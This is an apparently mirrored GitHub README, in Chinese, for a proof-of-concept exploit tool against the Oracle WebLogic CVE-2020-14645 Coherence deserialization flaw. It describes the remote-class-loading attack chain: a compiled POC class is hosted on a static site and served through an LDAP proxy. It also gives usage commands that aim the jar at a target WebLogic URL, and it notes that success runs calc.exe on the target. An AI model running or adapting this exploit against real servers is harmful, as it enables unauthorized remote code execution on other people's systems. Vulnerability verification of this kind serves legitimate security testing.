GithubHelp home page GithubHelp logo

weblogic_cve-2020-14645's Introduction

Weblogic CVE-2020-14645 coherence 反序列化漏洞验证程序

环境

  • Maven 3

  • JDK 1.8

编译

mvn package

使用

具体的测试步骤:

  1. 编写 POC
  2. 将 POC 编译为 class 文件
  3. 启动一个静态站点用于发布编译的 POC
  4. 启动一个LDAP代理用于转发测试目标拉取 POC 的请求
  5. 测试程序执行

由于此漏洞与 Apache Dubbo 这个漏洞类似,请参加这个漏洞来实现 1-4 这几个步骤。

测试程序执行

java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL

# 示例
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002

如果使用本例提供的 POC,利用成功后被测目标会执行 calc.exe。请自行根据测试目标环境来修改 POC。

鸣谢

本项目参考和引用了项目 @Y4er @5up3rc 的部分代码,特此感谢!

参考资料

https://github.com/Y4er/CVE-2020-14645

https://github.com/5up3rc/weblogic_cmd

weblogic_cve-2020-14645's People

Contributors

tanjelly avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.